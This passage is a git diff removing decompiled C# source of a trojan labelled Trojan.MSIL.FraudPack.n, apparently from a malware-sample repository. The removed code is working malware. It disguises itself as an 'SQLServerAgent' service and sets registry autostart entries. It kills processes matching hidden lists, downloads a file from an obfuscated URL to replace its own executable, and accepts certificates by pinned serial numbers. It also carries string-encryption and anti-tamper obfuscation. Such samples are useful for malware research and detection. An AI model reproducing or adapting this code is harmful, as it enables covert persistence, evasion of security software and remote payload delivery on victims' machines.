Installer[2] - { - (Installer) this.\u0003, - (Installer) this.\u0005 - }); - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs deleted file mode 100644 index 585d78ef..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs +++ /dev/null @@ -1,499 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Management; -using System.Net; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Timers; - -public sealed class \u0005 : ServiceBase -{ - private string \u0002; - private bool \u0003 = false; - private bool \u0005 = false; - private string \u0008; - private string \u0006; - private string \u000E; - private string \u000F; - private int \u0002\u2000; - private string \u0003\u2000 = string.Empty; - private bool \u0005\u2000 = false; - private System.Timers.Timer \u0008\u2000 = new System.Timers.Timer(30000.0); - private IContainer \u0006\u2000 = (IContainer) null; - private BackgroundWorker \u000E\u2000; - private BackgroundWorker \u000F\u2000; - - public \u0005() => this.\u000E(); - - protected override void OnStart(string[] _param1) - { - this.\u0008(); - this.\u0002(); - this.\u0002 = \u0005.\u0002(); - this.\u0003(); - this.\u0005(); - RegistryKey subKey = Registry.LocalMachine.CreateSubKey(\u0008.\u0002(1356208489), RegistryKeyPermissionCheck.ReadWriteSubTree); - this.\u0002\u2000 = (int) subKey.GetValue(\u0008.\u0002(1356208422)); - subKey.Close(); - System.Timers.Timer timer1 = new System.Timers.Timer(1000.0); - timer1.Elapsed += new ElapsedEventHandler(this.\u0005); - timer1.AutoReset = true; - timer1.Enabled = true; - this.\u0008\u2000.Elapsed += new ElapsedEventHandler(this.\u0003); - this.\u0008\u2000.AutoReset = true; - this.\u0008\u2000.Enabled = false; - System.Timers.Timer timer2 = new System.Timers.Timer(60000.0); - timer2.Elapsed += new ElapsedEventHandler(this.\u0002); - timer2.AutoReset = true; - timer2.Enabled = true; - } - - private void \u0002() - { - try - { - this.\u0002(\u0008.\u0002(1356208433)); - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0008.\u0002(1356208444), RegistryKeyPermissionCheck.ReadWriteSubTree); - registryKey.DeleteValue(\u0008.\u0002(1356208433)); - registryKey.Close(); - System.IO.File.Delete(Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]) + \u0008.\u0002(1356208368)); - } - catch - { - } - } - - private void \u0002(object _param1, ElapsedEventArgs _param2) - { - if (this.\u0005\u2000) - return; - this.\u0005(); - } - - private string \u0002(string _param1) - { - if (!System.IO.File.Exists(_param1)) - return string.Empty; - StringBuilder stringBuilder = new StringBuilder(); - try - { - FileStream inputStream = new FileStream(_param1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); - byte[] hash = new MD5CryptoServiceProvider().ComputeHash((Stream) inputStream); - inputStream.Close(); - for (int index = 0; index < hash.Length; ++index) - stringBuilder.Append(hash[index].ToString(\u0008.\u0002(1356208348))); - } - catch - { - return string.Empty; - } - return stringBuilder.ToString(); - } - - private void \u0003() - { - try - { - this.\u0008 = this.\u0003(\u0008.\u0002(1356208293) + this.\u0003\u2000 + \u0008.\u0002(1356208257)).Split('-')[0]; - } - catch - { - } - } - - private void \u0005() => this.\u000E = this.\u0002(Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]) + \u0008.\u0002(1356208275)); - - private static string \u0002() - { - string empty = string.Empty; - foreach (ManagementObject instance in new ManagementClass(\u0008.\u0002(1356208197)).GetInstances()) - { - if (empty == string.Empty) - { - empty = instance.Properties[\u0008.\u0002(1356208219)].Value.ToString(); - break; - } - } - string str1 = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - ManagementObject managementObject = new ManagementObject(\u0008.\u0002(1356208173) + str1 + \u0008.\u0002(1356208144)); - managementObject.Get(); - string str2 = managementObject[\u0008.\u0002(1356208153)].ToString(); - byte[] hash = MD5.Create().ComputeHash(Encoding.Default.GetBytes(empty + str2)); - StringBuilder stringBuilder = new StringBuilder(); - for (int index = 0; index < hash.Length; ++index) - stringBuilder.Append(hash[index].ToString(\u0008.\u0002(1356208348))); - return stringBuilder.ToString(); - } - - private string \u0003(string _param1) - { - try - { - ServicePointManager.CertificatePolicy = (ICertificatePolicy) new \u0005.\u0002(); - StringBuilder stringBuilder = new StringBuilder(); - byte[] numArray = new byte[8192]; - Stream responseStream = WebRequest.Create(_param1).GetResponse().GetResponseStream(); - int count; - do - { - count = responseStream.Read(numArray, 0, numArray.Length); - if (count != 0) - { - string str = Encoding.ASCII.GetString(numArray, 0, count); - stringBuilder.Append(str); - } - } - while (count > 0); - responseStream.Flush(); - return stringBuilder.ToString(); - } - catch - { - return _param1.IndexOf(\u0008.\u0002(1356208293)) != -1 ? this.\u0003(_param1.Replace(\u0008.\u0002(1356209138), \u0008.\u0002(1356209101))) : string.Empty; - } - } - - private void \u0002(string _param1) - { - foreach (Process process in Process.GetProcessesByName(_param1)) - process.Kill(); - } - - private void \u0008() - { - try - { - if (!System.IO.File.Exists(\u0008.\u0002(1356209061))) - return; - this.\u0003\u2000 = \u0008.\u0002(1356209033); - } - catch - { - } - } - - private string \u0002() - { - TextReader textReader = (TextReader) new StreamReader(\u0008.\u0002(1356209041)); - string end = textReader.ReadToEnd(); - textReader.Close(); - return end; - } - - private bool \u0002(string _param1, string _param2) - { - TextWriter textWriter = (TextWriter) new StreamWriter(\u0008.\u0002(1356209003) + _param1 + \u0008.\u0002(1356209013)); - textWriter.WriteLine(_param2); - textWriter.Close(); - return true; - } - - private bool \u0003(string _param1, string _param2) - { - try - { - ServicePointManager.CertificatePolicy = (ICertificatePolicy) new \u0005.\u0002(); - byte[] buffer = new byte[8192]; - Stream responseStream = WebRequest.Create(_param1).GetResponse().GetResponseStream(); - FileStream output = new FileStream(_param2, FileMode.OpenOrCreate); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - int count; - do - { - count = responseStream.Read(buffer, 0, buffer.Length); - if (count != 0) - binaryWriter.Write(buffer, 0, count); - } - while (count > 0); - responseStream.Flush(); - binaryWriter.Close(); - output.Close(); - return true; - } - catch - { - return _param1.IndexOf(\u0008.\u0002(1356208293)) != -1 && this.\u0003(_param1.Replace(\u0008.\u0002(1356209138), \u0008.\u0002(1356208960)), _param2); - } - } - - private void \u0006() - { - if (this.\u0008 != this.\u000E || this.\u0008 == string.Empty) - this.\u0003(); - if (!(this.\u0008 != this.\u000E) || !(this.\u0008 != string.Empty)) - return; - this.\u0003 = true; - string tempPath = Path.GetTempPath(); - this.\u000E\u2000.RunWorkerAsync((object) new string[2] - { - \u0008.\u0002(1356208985) + this.\u0003\u2000 + \u0008.\u0002(1356208948), - tempPath + \u0008.\u0002(1356208920) - }); - } - - public void \u0005\u2004\u2006\u2009\u2001\u2009\u2009\u2004\u2001\u2001\u2003\u2001\u2008\u2008\u2003\u200A\u2001() - { - string[] strArray1 = new string[1] - { - \u0008.\u0002(1356208871) - }; - string[] strArray2 = new string[2] - { - \u0008.\u0002(1356208892), - \u0008.\u0002(1356208846) - }; - string[] strArray3 = new string[2] - { - \u0008.\u0002(1356208800), - \u0008.\u0002(1356208815) - }; - string[] strArray4 = new string[1] - { - \u0008.\u0002(1356208772) - }; - string[] strArray5 = new string[1] - { - \u0008.\u0002(1356208795) - }; - string[] strArray6 = new string[1] - { - \u0008.\u0002(1356208758) - }; - string[] strArray7 = new string[2] - { - \u0008.\u0002(1356208719), - \u0008.\u0002(1356208735) - }; - string[] strArray8 = new string[2] - { - \u0008.\u0002(1356208719), - \u0008.\u0002(1356208688) - }; - string[] strArray9 = new string[3] - { - \u0008.\u0002(1356208640), - \u0008.\u0002(1356208655), - \u0008.\u0002(1356208670) - }; - string[][] strArray10 = new string[10][] - { - strArray1, - strArray2, - strArray3, - strArray4, - strArray5, - strArray6, - strArray7, - strArray8, - strArray9, - strArray1 - }; - foreach (Process process in Process.GetProcesses()) - { - try - { - string directoryName = Path.GetDirectoryName(process.MainModule.FileName); - string fileName = Path.GetFileName(process.MainModule.FileName); - string mainWindowTitle = process.MainWindowTitle; - if (mainWindowTitle.IndexOf(\u0008.\u0002(1356209645)) != -1 || mainWindowTitle.IndexOf(\u0008.\u0002(1356209661)) != -1 || fileName.IndexOf(\u0008.\u0002(1356209614)) != -1) - { - process.Kill(); - } - else - { - for (int index1 = 0; index1 < strArray10.Length; ++index1) - { - string[] strArray11 = strArray10[index1]; - bool flag = true; - for (int index2 = 0; index2 < strArray11.Length; ++index2) - { - string str = strArray11[index2]; - if (!System.IO.File.Exists(directoryName + \u0008.\u0002(1356209568) + str)) - { - flag = false; - break; - } - } - if (flag) - { - process.Kill(); - break; - } - } - } - } - catch - { - } - } - } - - private bool \u0002() - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1356209576)); - bool flag = false; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1356208275)) - processesByName[index].Kill(); - else if (processesByName[index].MainWindowHandle.ToInt32() != 0) - flag = true; - else - processesByName[index].Kill(); - } - return flag; - } - - private void \u0003(object _param1, ElapsedEventArgs _param2) - { - this.\u0005\u2000 = false; - this.\u0008\u2000.Enabled = false; - } - - private void \u0005(object _param1, ElapsedEventArgs _param2) - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - if (System.IO.File.Exists(str + \u0008.\u0002(1356209593))) - { - try - { - System.IO.File.Delete(str + \u0008.\u0002(1356209593)); - } - catch - { - } - this.\u0002(\u0008.\u0002(1356208433)); - this.\u0005\u2000 = true; - this.\u0008\u2000.Enabled = true; - } - if (this.\u0005\u2000) - return; - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0008.\u0002(1356208444), RegistryKeyPermissionCheck.ReadWriteSubTree); - string empty1 = string.Empty; - string empty2 = string.Empty; - try - { - empty1 = (string) registryKey.GetValue(\u0008.\u0002(1356209512)); - } - catch - { - } - try - { - if (empty1 != str + \u0008.\u0002(1356208275)) - { - registryKey.CreateSubKey(\u0008.\u0002(1356209512)); - registryKey.SetValue(\u0008.\u0002(1356209512), (object) (str + \u0008.\u0002(1356208275))); - } - } - catch - { - } - registryKey.Close(); - if (this.\u0003) - return; - this.\u0006(); - if (this.\u0003) - return; - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1356209576)); - bool flag = false; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1356208275)) - processesByName[index].Kill(); - else - flag = true; - } - if (flag) - return; - try - { - Process.Start(str + \u0008.\u0002(1356208275)); - } - catch - { - } - } - - protected override void OnStop() - { - } - - private void \u0002(object _param1, DoWorkEventArgs _param2) - { - } - - private void \u0003(object _param1, DoWorkEventArgs _param2) - { - string[] strArray = (string[]) _param2.Argument; - string str1 = strArray[0]; - string sourceFileName = strArray[1]; - if (this.\u0003(str1, sourceFileName)) - { - Path.GetTempPath(); - string str2 = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - this.\u0002(\u0008.\u0002(1356208433)); - this.\u0002(\u0008.\u0002(1356209576)); - Thread.Sleep(3000); - try - { - if (System.IO.File.Exists(str2 + \u0008.\u0002(1356208275))) - System.IO.File.Delete(str2 + \u0008.\u0002(1356208275)); - if (!Directory.Exists(str2 + \u0008.\u0002(1356209527))) - Directory.CreateDirectory(str2 + \u0008.\u0002(1356209527)); - System.IO.File.Move(sourceFileName, str2 + \u0008.\u0002(1356208275)); - } - catch - { - } - this.\u000E = this.\u0008; - } - this.\u0003 = false; - } - - private void \u0005(object _param1, DoWorkEventArgs _param2) - { - } - - protected override void Dispose(bool _param1) - { - if (_param1 && this.\u0006\u2000 != null) - this.\u0006\u2000.Dispose(); - base.Dispose(_param1); - } - - private void \u000E() - { - this.\u000E\u2000 = new BackgroundWorker(); - this.\u000F\u2000 = new BackgroundWorker(); - this.\u000E\u2000.DoWork += new DoWorkEventHandler(this.\u0003); - this.\u000F\u2000.DoWork += new DoWorkEventHandler(this.\u0005); - this.ServiceName = \u0008.\u0002(1356208604); - } - - public sealed class \u0002 : ICertificatePolicy - { - public bool CheckValidationResult( - ServicePoint _param1, - X509Certificate _param2, - WebRequest _param3, - int _param4) - { - string serialNumberString = _param2.GetSerialNumberString(); - return !(serialNumberString != \u0008.\u0002(1356208567)) || !(serialNumberString != \u0008.\u0002(1356208528)); - } - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs deleted file mode 100644 index 5b832fe6..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -internal static class \u0006 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs deleted file mode 100644 index 20396326..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs +++ /dev/null @@ -1,209 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0008 -{ - private static readonly Dictionary \u0002 = new Dictionary(51); - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - private static int \u000F; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - lock (\u0008.\u0002) - { - string str1; - byte[] numArray1; - for (; !\u0008.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - int num1; - if (\u0008.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0008.\u0006 = 1610370; - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("          \u200B  "); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u0008.\u0006 ^= 6470 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0008.\u0006 ^= index + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0008.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0008.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0008.\u0006 ^= 219283; - } - if (flag == (stackTrace != null)) - \u0008.\u0006 ^= 32; - \u0008.\u0006 ^= 6502 | index + 1; - \u0008.\u0003 = new BinaryReader(manifestResourceStream); - short count = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) -~~-~-~-~23109); - if (count == (short) 0) - \u0008.\u0008 = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) -~~-~-~-~11326); - else - \u0008.\u0005 = \u0008.\u0003.ReadBytes((int) count); - Assembly assembly = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - \u0008.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0008.\u000E != null && \u0008.\u000E.Length == 0) - \u0008.\u000E = (byte[]) null; - num1 = 1526390421 ^ (int) (uint) \u000E.\u0002() ^ -~-~~--~~-~-360289216; - \u0008.\u000F = num1; - \u0008.\u0006 = \u0008.\u0006 & 268435314 ^ 6788; - } - else - num1 = \u0008.\u000F; - int num2 = _param0 ^ 48212366 ^ num1; - \u0008.\u0003.BaseStream.Position = (long) num2; - byte[] numArray2; - if (\u0008.\u0005 != null) - { - numArray2 = \u0008.\u0005; - } - else - { - short count = \u0008.\u0008 != (short) -1 ? \u0008.\u0008 : (short) ((int) \u0008.\u0003.ReadInt16() ^ -18706 ^ num2); - if (count == (short) 0) - { - numArray2 = (byte[]) null; - } - else - { - numArray2 = \u0008.\u0003.ReadBytes((int) count); - for (int index = 0; index != numArray2.Length; ++index) - numArray2[index] ^= (byte) (\u0008.\u000F >> ((index & 3) << 3)); - } - } - int num3 = \u0008.\u0003.ReadInt32() ^ num2 ^ -~-~-~~-~1522195984 ^ num1; - if (num3 == -2) - { - numArray1 = \u0008.\u0003.ReadBytes(4); - _param0 = -1522195983 ^ num1; - } - else - { - bool flag1 = (num3 & int.MinValue) != 0; - bool flag2 = (num3 & 1073741824) != 0; - bool flag3 = (num3 & 536870912) != 0; - int count = num3 & 536870911; - byte[] numArray3 = \u0006.\u0002(numArray2, \u0008.\u0003.ReadBytes(count)); - if (\u0008.\u000E != null != (\u0008.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num4 = \u0008.\u000E[index & 7]; - byte num5 = (byte) ((int) num4 << 3 | (int) num4 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num5); - } - } - int num6 = \u0008.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0008.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num6 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num7 = num6 + ((int) sbyte.MaxValue + (num6 & 3) << 5); - if (num7 != 1611930) - str2 = (_param0 + count ^ 936568 ^ num7 & 1293).ToString("X"); - if (!flag3) - { - str2 = string.Intern(str2); - \u0008.\u0002.Add(_param0, str2); - if (\u0008.\u0002.Count == 51) - { - \u0008.\u0003.Close(); - \u0008.\u0003 = (BinaryReader) null; - \u0008.\u0005 = \u0008.\u000E = (byte[]) null; - } - } - return str2; - } - } - return str1; - } - } - - private static void \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_10: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - break; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_10; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs deleted file mode 100644 index 5ee77f4b..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs +++ /dev/null @@ -1,200 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u000E -{ - private static \u000E.\u0002 \u0002 = new \u000E.\u0002(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E).Assembly || !\u000E.\u0002()) - return 5038234971328056794; - lock (\u000E.\u0002) - { - long num1 = \u000E.\u0002.\u0002(); - if (num1 == 0L) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - List byteList = new List(); - AssemblyName assemblyName; - try - { - assemblyName = executingAssembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(executingAssembly.FullName); - } - byte[] collection = assemblyName.GetPublicKeyToken(); - if (collection != null && collection.Length == 0) - collection = (byte[]) null; - if (collection != null) - byteList.AddRange((IEnumerable) collection); - byteList.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); - int num2 = \u000E.\u0002(typeof (\u000E)); - int num3 = \u000E.\u0005.\u0002(); - byteList.Add((byte) (num2 >> 24)); - byteList.Add((byte) (num3 >> 16)); - byteList.Add((byte) (num2 >> 8)); - byteList.Add((byte) num3); - byteList.Add((byte) (num2 >> 16)); - byteList.Add((byte) (num3 >> 8)); - byteList.Add((byte) num2); - byteList.Add((byte) (num3 >> 24)); - int count = byteList.Count; - ulong num4 = 0; - for (int index = 0; index != count; ++index) - { - ulong num5 = num4 + (ulong) byteList[index]; - ulong num6 = num5 + (num5 << 20); - num4 = num6 ^ num6 >> 12; - byteList[index] = (byte) 0; - } - ulong num7 = num4 + (num4 << 6); - ulong num8 = num7 ^ num7 >> 22; - num1 = (long) (num8 + (num8 << 30)) ^ -6354475306657079513L; - \u000E.\u0002.\u0002(num1); - } - return num1; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0002() => \u000E.\u0003(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0003() - { - StackFrame frame = new StackTrace().GetFrame(3); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u000E).Assembly; - } - - private static int \u0002(Type _param0) => _param0.MetadataToken; - - private sealed class \u0002 - { - private int \u0002; - private int \u0003; - - internal \u0002() => this.\u0002(0L); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002).Assembly || !\u000E.\u0002()) - return 2918384; - int[] numArray = new int[4] - { - 0, - 0, - 0, - -~~-~-~-~990503695 - }; - numArray[1] = -~~--~-~~456139194; - numArray[2] = -~~--~-~~-113420117; - numArray[0] = -~~-~-~-~-~1852801813; - int num1 = this.\u0002; - int num2 = this.\u0003; - int num3 = ~-~--~~-~1640531524; - int num4 = -~~-~--~~-~957401310; - for (int index = 0; index != 32; ++index) - { - num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3]; - num4 -= num3; - num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - return (long) ((ulong) num2 << 32 | (ulong) (uint) num1); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal void \u0002(long _param1) - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002).Assembly || !\u000E.\u0002()) - return; - int[] numArray = new int[4] - { - 0, - -~-~-~~-~-~456139193, - 0, - 0 - }; - numArray[0] = -~-~~--~~1852801818; - numArray[2] = -~~-~-~--~~-113420120; - numArray[3] = -~~-~-~-~990503695; - int num1 = -~-~~--~~-~1640531527; - int num2 = (int) _param1; - int num3 = (int) (_param1 >> 32); - int num4 = 0; - for (int index = 0; index != 32; ++index) - { - num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3]; - num4 += num1; - num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - this.\u0002 = num2; - this.\u0003 = num3; - } - } - - private static class \u0003 - { - internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - ~--~~--~~-~1099352654; - - internal static int \u0003(int _param0, int _param1) => _param0 - ~-~-~--~~-~-809594693 ^ _param1 + ~--~~-~-~1210238059; - - internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~1694919635 ^ _param0 - _param1; - } - - private sealed class \u0005 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0005).Assembly || 